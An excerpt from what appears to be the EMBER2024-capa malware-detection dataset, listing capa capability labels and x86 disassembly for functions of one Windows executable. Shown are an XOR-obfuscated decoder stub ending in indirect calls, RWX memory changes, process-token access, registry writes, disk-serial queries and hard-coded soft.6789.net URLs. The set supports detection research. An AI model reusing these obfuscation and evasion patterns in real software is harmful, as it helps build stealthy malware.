joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4062da
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x31819394
mov ebx, 0x2546009
xor edx, ebx
mov ebx, edx
xor ebx, 0xffffffff
and ebx, 0x2ca38326
and edx, 0xd35c7cd9
or edx, ebx
pop ecx
xor edx, ecx
add esp, 0xfffffffc
push esp
pop edi
mov dword [edi], edx
mov ecx, 0x29ecea99
mov edi, 0x1d398fa5
xor edi, ecx
mov ecx, 0x38b0db41
mov ebx, 0x7b98620d
xor ebx, ecx
xor ebx, edi
push 0x671c4665
mov edi, 0x10a18a15
pop ecx
xor edi, ecx
xor ebx, edi
mov ecx, 0
xor ecx, ebx
mov edx, ecx
push edx
call eax
pop ebx
mov edi, 0x38f6e28d
mov eax, 0x2824c3cd
xor eax, edi
push 0x55d3d9e1
mov ebx, 0x39fedd65
pop ecx
xor ebx, ecx
xor eax, ebx
mov edx, 0x17417b89
mov esi, 0x6bbe5d68
xor esi, edx
xor eax, esi
mov edx, 0x2a1a8100
mov ebx, 0x5815867
xor edx, ebx
mov edi, 0x4243d7c3
mov esi, 0x296ee693
xor esi, edi
xor esi, edx
mov edi, 0x708020
mov ebx, 0x448608ca
xor edi, ebx
xor esi, edi
push 0x6ec5e979
mov ecx, 0x2d74e8eb
pop edx
xor ecx, edx
push ecx
mov ebx, 0x32222148
mov ecx, 0x41835
xor ebx, ecx
pop edi
xor ebx, edi
mov ecx, 0x118792c8
mov edi, 0x60502697
xor edi, ecx
xor ebx, edi
xor edi, edi
add edi, eax
mov edx, 0xfffffffc
add esp, edx
push esp
pop ecx
mov dword [ecx], edi
mov ecx, ebx
push ecx
pop edx
mov edi, edx
add esp, 0xfffffffc
mov dword [esp], edi
xor eax, eax
mov al, byte [esi]
add ebx, eax
mov al, byte [ebx]
mov edi, 0x49b3b311
xor edi, 0x5add039d
push edi
mov edx, 0x42d822d0
xor edx, 0x6dbe469c
pop ecx
xor edx, ecx
mov ecx, 0
xor ecx, edx
mov edi, 0xbb82a182
xor ecx, edi
xor ecx, 0x447d5e7d
and ecx, 0x150ee41c
and edx, 0xeaf11be3
or edx, ecx
mov ecx, ebx
add esp, 0xfffffffc
mov dword [esp], ecx
pop edi
and edi, ebx
je 0x4063b8
pop ebx
mov byte [esi], al
mov edx, 0x5452dc4f
mov ecx, 0xabad23b0
xor ecx, edx
add esi, ecx
pop eax
mov edx, 0x7a912ef4
mov ecx, 0x856ed10b
xor edx, ecx
add eax, edx
mov edx, 0x6b89a607
mov ecx, 0x2a5bf85e
xor ecx, edx
mov edi, 0x41d25e59
xor ecx, edi
xor ecx, eax
and ecx, eax
jne 0x4063b8
mov eax, 0x43de0384
mov edi, 0x14d40346
xor edi, eax
mov eax, 0x7221e9ff
mov esi, 0x5a60a2fe
xor esi, eax
xor edi, esi
mov ecx, 0xcbe37a0
xor ecx, 0x250b59ed
mov edx, 0x56be7837
xor ecx, edx
xor ecx, edi
call ecx
pop eax
pop eax
ret

Function at 0x4069dc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x406a24
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00406978
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a2b
lea eax, [ebp - 4]
call fcn.00403198
ret
Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4011d2
Capabilities:
Accept command line arguments
Create process on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.CNPPage
lea ecx, [ebp - 0x27c]
call fcn.0040322e
lea eax, [ebp - 0x260]
mov dword [ebp - method.CCfgOPBaseT_int_.virtual_0], 0x42cafc
push eax
xorps xmm0, xmm0
lea ecx, [ebp - 0x27c]
mov ebx, str.crashesTime
movlpd qword [ebp - 0x260], xmm0
push ebx
call fcn.00402068
test eax, eax
jne 0x401234
xorps xmm0, xmm0
movlpd qword [ebp - 0x260], xmm0
mov eax, dword [ebp - 0x260]
lea edi, [ebp - 0x234]
mov dword [ebp - 0x268], eax
xor esi, esi
mov eax, dword [ebp - 0x25c]
push 9
pop ecx
mov dword [ebp - 0x264], eax
xor eax, eax
rep stosd dword es:[edi], eax
push 9
pop ecx
lea edi, [ebp - 0x258]
rep stosd dword es:[edi], eax
push esi
call fcn.0041503d
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x258]
mov dword [ebp - 0x25c], edx
push eax
call fcn.00415309
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.00415309
mov eax, dword [ebp - 0x220]
add esp, 0x14
cmp eax, dword [ebp - 0x244]
jne 0x4012c0
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x23c]
cmp eax, 1
jl 0x401315
lea eax, [ebp - 0x25c]
push eax
push 0x432a84
lea ecx, [ebp - 0x278]
call fcn.004020a7
mov ecx, dword [ebp - 0x25c]
xor edx, edx
test eax, eax
push esi
cmovne ecx, edx
cmp ecx, 2
jb 0x401327
call fcn.0041503d
pop ecx
push 8
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x268]
push eax
push 0xb
push esi
push ebx
push dword [ebp - 0x278]
mov dword [ebp - 0x264], edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 1
lea ecx, [ebp - 0x27c]
call fcn.00401040
jmp 0x4013b3
lea ecx, [ebp - 0x27c]
call fcn.00401040
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x2b8]
push esi
push eax
call fcn.0040fff0
push 0x20a
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040fff0
add esp, 0x18
lea eax, [ebp - 0x210]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x210]
mov dword [ebp - 0x2b8], edi
mov dword [ebp - 0x2b4], 0x40
mov dword [ebp - 0x2ac], str.open
mov dword [ebp - 0x2a8], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2a4], eax
lea eax, [ebp - 0x2b8]
push eax
mov dword [ebp - 0x29c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor esi, esi
inc esi
lea ecx, [ebp - 0x27c]
call fcn.004020dc
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret
Function at 0x40189a
Capabilities:
Get common file path

Disassembly:
push 8
mov eax, 0x42ae08
call fcn.0040e19f
mov edi, ecx
mov dword [ebp - 0x14], edi
call fcn.00402b4c
push eax
lea ecx, [ebp - 0x10]
call fcn.004028a2
xor esi, esi
lea ecx, [ebp - 0x10]
push esi
push 0x1a
push 0x200
mov dword [ebp - 4], esi
call fcn.00402d0a
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.00402325
mov esi, dword [ebp - 0x10]
mov eax, dword [esi - 0xc]
test eax, eax
jne 0x4018fb
push 0x432ba0
mov ecx, edi
call fcn.00402015
lea ecx, [esi - 0x10]
jmp 0x40194b
dec eax
lea ecx, [ebp - 0x10]
push eax
call fcn.00401b46
cmp ax, 0x5c
je 0x401921
mov esi, 0x432c54
push esi
call fcn.00401ede
pop ecx
push eax
push esi
lea ecx, [ebp - 0x10]
call fcn.00401c6b
mov esi, str.CloudNotePad_
push esi
call fcn.00401ede
pop ecx
push eax
push esi
lea ecx, [ebp - 0x10]
call fcn.00401c6b
mov esi, dword [ebp - 0x10]
add esi, 0xfffffff0
push esi
call fcn.00402e68
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.00402f1b
mov eax, edi
call fcn.0040e179
ret

Function at 0x4019f8
Capabilities:
Check if file exists

Disassembly:
push 8
mov eax, 0x42ae77
call fcn.0040e19f
lea ecx, [ebp - 0x14]
call fcn.00401958
and dword [ebp - 4], 0
push str.AppTest.txt
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00402ec3
mov ecx, dword [ebp - 0x14]
add esp, 0xc
lea ecx, [ecx - 0x10]
call fcn.00402f1b
push dword [ebp - 0x10]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 0x10]
mov esi, eax
add ecx, 0xfffffff0
call fcn.00402f1b
mov eax, esi
call fcn.0040e179
ret

Function at 0x402246
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x234], eax
push edi
test esi, esi
je 0x402312
push 0x228
xor edi, edi
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.0040fff0
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402312
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x4022d2
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00411d86
pop ecx
pop ecx
test eax, eax
je 0x4022d8
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4022b1
jmp 0x402307
push dword [ebp - 0x228]
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ebp - 0x234]
mov esi, eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x402314
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret 8
Function at 0x402356
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x402368
push 0xd
pop eax
jmp 0x40239a
mov ecx, edx
push ebx
push edi
xor ebx, ebx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x402371
sub ecx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop ebx
pop esi
pop ebp
ret 0xc
Function at 0x40375d
Capabilities:
Check if file exists

Disassembly:
push 0x218
mov eax, 0x42b0fa
call fcn.0040e1d3
mov ebx, ecx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x224], ebx
call fcn.00405e77
and dword [ebp - 4], 0
mov dword [ebx], vtable.CServerConnect.0
call fcn.00402b4c
push eax
lea ecx, [ebx + 0x10]
call fcn.004028a2
mov byte [ebp - 4], 1
call fcn.00402b4c
push eax
lea ecx, [ebx + 0x14]
call fcn.004028a2
mov byte [ebp - 4], 2
call fcn.00402b4c
push eax
lea ecx, [ebx + 0x18]
call fcn.004028a2
mov byte [ebp - 4], 3
call fcn.00402b4c
push eax
lea ecx, [ebx + 0x1c]
call fcn.004028a2
push 0
mov byte [ebp - 4], 4
call fcn.0041503d
push eax
call fcn.004156c4
mov esi, 0x100
lea eax, [ebp - 0x110]
push esi
push 0
push eax
call fcn.0040fff0
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.00407e1a
add esp, 0x1c
lea eax, [ebp - 0x210]
mov dword [ebp - 0x214], eax
lea ecx, [ebp - 0x214]
lea eax, [ebp - 0x110]
push 3
push eax
call fcn.0040505b
push dword [ebp - 0x214]
mov byte [ebp - 4], 5
call fcn.00401ede
pop ecx
push eax
push dword [ebp - 0x214]
lea ecx, [ebx + 0x10]
call fcn.00402774
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x214], eax
je 0x40385f
push dword [ebp - 0x214]
call fcn.00411a15
pop ecx
xor eax, eax
lea ecx, [ebx + 0x14]
inc eax
xor esi, esi
push 0x16
push str.https:__soft.6789.net_
mov dword [ebx + 0x34], eax
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x38], esi
mov dword [ebx + 0x3c], esi
call fcn.00402774
push 0x1b
push str.https:__read.soft.6789.net_
lea ecx, [ebx + 0x18]
call fcn.00402774
lea eax, [ebp - 0x21c]
push esi
push eax
call fcn.004047ce
push str.AppTest.txt
push eax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 6
push eax
call fcn.00402ec3
mov ecx, dword [ebp - 0x21c]
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ecx - 0x10]
call fcn.00402f1b
push dword [ebp - 0x218]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 0x218]
mov esi, eax
lea ecx, [ecx - 0x10]
call fcn.00402f1b
test esi, esi
je 0x403904
push 0x15
push str.http:__soft.6789.net_
lea ecx, [ebx + 0x14]
call fcn.00402774
push 0x1a
push str.http:__read.soft.6789.net_
lea ecx, [ebx + 0x18]
call fcn.00402774
xor edi, edi
lea esi, [ebx + 0x20]
push edi
push edi
push edi
push esi
mov dword [ebx + 0x28], edi
mov dword [ebx + 0x2c], edi
call fcn.00404c58
add esp, 0x10
test eax, eax
jne 0x403921
mov dword [esi], edi
mov dword [ebx + 0x40], edi
mov eax, ebx
mov dword [ebx + 0x44], edi
call fcn.0040e18e
ret
Function at 0x4045a9
Capabilities:
Check if file exists
Create directory

Disassembly:
push 0xc
mov eax, 0x42b312
call fcn.0040e19f
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.00402015
push dword [ebp - 0x10]
and dword [ebp - 4], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40463f
push eax
jmp 0x40462e
call fcn.00402b4c
push eax
lea ecx, [ebp - 0x14]
call fcn.004028a2
inc edi
mov byte [ebp - 4], 1
push edi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.00401d98
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.004027e8
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00402f1b
mov esi, dword [ebp - 0x14]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x404621
push esi
call fcn.004153c4
pop ecx
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 0
call fcn.00402f1b
push edi
push 0x5c
lea ecx, [ebp - 0x10]
call fcn.00401866
mov edi, eax
cmp edi, 0xffffffff
jne 0x4045d4
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.00402f1b
call fcn.0040e179
ret
Function at 0x404c58
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp + 0xc]
push str.RtlGetVersion
mov dword [ebp - 0x130], eax
mov eax, dword [ebp + 0x10]
push str.ntdll.dll
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x128], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 9
mov dword [ebp - 0x124], eax
lea edi, [ebp - 0x158]
pop eax
mov ecx, eax
xor ebx, ebx
xor eax, eax
push 0x118
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x11c]
push ebx
push eax
call fcn.0040fff0
mov eax, dword [ebp - 0x124]
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
test eax, eax
je 0x404cf6
lea ecx, [ebp - 0x120]
push ecx
call eax
test eax, eax
jns 0x404d0b
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x404e98
test esi, esi
je 0x404d20
mov edi, dword [ebp - 0x128]
lea esi, [ebp - 0x120]
push 0x47
pop ecx
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx esi, word [ebp - 0xc]
xor ecx, ecx
cmp dword [ebp - 0x140], 0x21d8
push 2
sete cl
pop edx
mov dword [ebp - 0x124], ecx
cmp dword [ebp - 0x110], edx
jne 0x404e3e
mov eax, dword [ebp - 0x11c]
cmp eax, 0xa
jne 0x404d7d
cmp dword [ebp - 0x118], ebx
jne 0x404e71
xor ebx, ebx
cmp byte [ebp - 6], 1
setne bl
add ebx, 0x11
jmp 0x404e71
cmp eax, 6
jne 0x404de3
mov eax, dword [ebp - 0x118]
cmp eax, 3
jne 0x404d9e
xor ebx, ebx
cmp byte [ebp - 6], 1
setne bl
add ebx, 0xf
jmp 0x404e71
cmp eax, edx
jne 0x404db3
xor ebx, ebx
cmp byte [ebp - 6], 1
setne bl
add ebx, 0xd
jmp 0x404e71
cmp eax, 1
jne 0x404dc8
xor ebx, ebx
cmp byte [ebp - 6], al
setne bl
add ebx, 0xb
jmp 0x404e71
test eax, eax
jne 0x404e71
xor ebx, ebx
cmp byte [ebp - 6], 1
push 9
setne bl
pop eax
add ebx, eax
jmp 0x404e71
cmp eax, 5
jne 0x404e34
mov eax, dword [ebp - 0x118]
cmp eax, edx
jne 0x404e23
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x404e02
push 8
jmp 0x404e1a
cmp byte [ebp - 6], 1
jne 0x404e18
push 9
pop eax
cmp word [ebp - 0x158], ax
jne 0x404e18
push 6
jmp 0x404e1a
push 7
mov ecx, dword [ebp - 0x124]
pop ebx
jmp 0x404e71
cmp eax, 1
jne 0x404e2c
push 6
jmp 0x404e3b
test eax, eax
jne 0x404e71
push 5
jmp 0x404e3b
cmp eax, 4
ja 0x404e71
push 4
pop ebx
jmp 0x404e71
cmp dword [ebp - 0x110], 1
jne 0x404e71
cmp dword [ebp - 0x11c], 4
jne 0x404e71
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x404e5f
xor ebx, ebx
inc ebx
jmp 0x404e71
cmp eax, 0xa
jne 0x404e68
mov ebx, edx
jmp 0x404e71
push 3
cmp eax, 0x5a
pop edx
cmove ebx, edx
mov eax, dword [ebp - 0x12c]
test eax, eax
je 0x404e7d
mov dword [eax], ebx
mov eax, dword [ebp - 0x130]
test eax, eax
je 0x404e89
mov dword [eax], esi
mov eax, dword [ebp - 0x134]
test eax, eax
je 0x404e95
mov dword [eax], ecx
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret
Function at 0x404f70
Capabilities:
Get common file path

Disassembly:
push 4
mov eax, 0x42b4c3
call fcn.0040e19f
call fcn.00402b4c
push eax
lea ecx, [ebp - 0x10]
call fcn.004028a2
xor esi, esi
lea ecx, [ebp - 0x10]
push esi
push 0x1a
push 0x200
mov dword [ebp - 4], esi
call fcn.00402d0a
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.00402325
mov esi, dword [ebp - 0x10]
mov eax, dword [esi - 0xc]
test eax, eax
jne 0x404fd5
mov ecx, dword [ebp + 8]
push 0x432ba0
call fcn.00402015
lea ecx, [esi - 0x10]
call fcn.00402f1b
mov eax, dword [ebp + 8]
jmp 0x40502e
dec eax
lea ecx, [ebp - 0x10]
push eax
call fcn.00401b46
cmp ax, 0x5c
je 0x404ff4
push 1
push 0x432c54
lea ecx, [ebp - 0x10]
call fcn.00401c6b
push 0xd
push str.CloudNotePad_
lea ecx, [ebp - 0x10]
call fcn.00401c6b
cmp dword [ebp + 0xc], 0
mov esi, dword [ebp - 0x10]
je 0x405013
push esi
call fcn.004045a9
pop ecx
lea edi, [esi - 0x10]
push edi
call fcn.00402e68
mov esi, dword [ebp + 8]
add eax, 0x10
pop ecx
mov ecx, edi
mov dword [esi], eax
call fcn.00402f1b
mov eax, esi
call fcn.0040e179
ret

Function at 0x406172
Capabilities:
Check if file exists
Delete file

Disassembly:
push 8
mov eax, 0x42b635
call fcn.0040e19f
mov edi, ecx
push dword [ebp + 0x10]
mov eax, dword [edi]
push dword [ebp + 8]
call dword [eax + 4]
test eax, eax
je 0x406276
call fcn.00402b4c
push eax
lea ecx, [ebp + 0x10]
call fcn.004028a2
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp + 0xc]
push ebx
mov byte [ebp - 4], 1
call fcn.00401ede
pop ecx
push eax
push ebx
lea ecx, [ebp + 0x10]
call fcn.00402774
push 0x5c
push dword [ebp + 0x10]
call fcn.0040f175
pop ecx
pop ecx
test eax, eax
jne 0x4061d9
or eax, 0xffffffff
jmp 0x4061de
sub eax, dword [ebp + 0x10]
sar eax, 1
inc eax
lea ecx, [ebp + 0x10]
push eax
lea eax, [ebp + 8]
push eax
call fcn.00401d98
push eax
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 2
call fcn.004027e8
mov ecx, dword [ebp + 8]
mov byte [ebp - 4], 1
lea ecx, [ecx - 0x10]
call fcn.00402f1b
mov esi, dword [ebp + 0x10]
push esi
call fcn.004045a9
pop ecx
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406224
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
lea ecx, [ebp - 0x14]
push eax
push eax
push 0x80
push 2
push eax
push 0xc0000000
push ebx
call fcn.00405f1c
test eax, eax
js 0x40625b
push 0
push dword [edi + 8]
lea ecx, [ebp - 0x14]
push dword [edi + 4]
call fcn.00406c1e
test eax, eax
js 0x40625b
xor ebx, ebx
inc ebx
jmp 0x40625d
xor ebx, ebx
cmp dword [ebp - 0x14], 0
je 0x40626c
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esi - 0x10]
call fcn.00402f1b
mov eax, ebx
call fcn.0040e179
ret 0xc
Function at 0x4062f2
Capabilities:
Check if file exists

Disassembly:
push 8
mov eax, 0x42b658
call fcn.0040e19f
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.004047ce
and dword [ebp - 4], 0
push str.AppTest.txt
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00402ec3
mov ecx, dword [ebp - 0x14]
add esp, 0x14
lea ecx, [ecx - 0x10]
call fcn.00402f1b
push dword [ebp - 0x10]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 0x10]
mov esi, eax
add ecx, 0xfffffff0
call fcn.00402f1b
mov eax, esi
call fcn.0040e179
ret
Function at 0x407b12
Capabilities:
Get common file path
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30fc
call fcn.0040e370
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
xor ebx, ebx
mov edi, ecx
push ebx
push eax
call fcn.0040fff0
push esi
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0040fff0
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movsx eax, byte [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.._c:
push eax
call fcn.00407e77
add esp, 0xc
lea eax, [ebp - 0x20c]
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407ba1
mov al, 1
jmp 0x407caa
push 0x2710
lea eax, [ebp - 0x30ec]
mov dword [ebp - 0x30fc], ebx
push ebx
push eax
call fcn.0040fff0
push 0x3e8
lea eax, [ebp - 0x9dc]
push ebx
push eax
call fcn.0040fff0
push 0x3e8
lea eax, [ebp - 0x5f4]
push ebx
push eax
call fcn.0040fff0
add esp, 0x24
mov dword [ebp - 0x30f0], ebx
lea eax, [ebp - 0x30fc]
mov dword [ebp - 0x30f8], ebx
mov dword [ebp - 0x30f4], ebx
push ebx
push eax
push 0x2710
lea eax, [ebp - 0x30ec]
push eax
push 0xc
lea eax, [ebp - 0x30f8]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x407c23
mov bl, 2
jmp 0x407ca1
lea eax, [ebp - 0x5f4]
push eax
push ebx
push dword [ebp - 0x30dc]
lea eax, [ebp - 0x30ec]
push eax
call fcn.00407cb9
lea eax, [ebp - 0x9dc]
push eax
push 1
push dword [ebp - 0x30d4]
lea eax, [ebp - 0x30ec]
push eax
call fcn.00407cb9
lea ecx, [ebp - 0x5f4]
add esp, 0x20
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c64
sub ecx, edx
lea eax, [ebp - 0x5f4]
push ecx
push eax
push edi
call fcn.004076c3
lea ecx, [ebp - 0x9dc]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c87
sub ecx, edx
lea eax, [ebp - 0x9dc]
push ecx
push eax
push edi
call fcn.004076c3
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret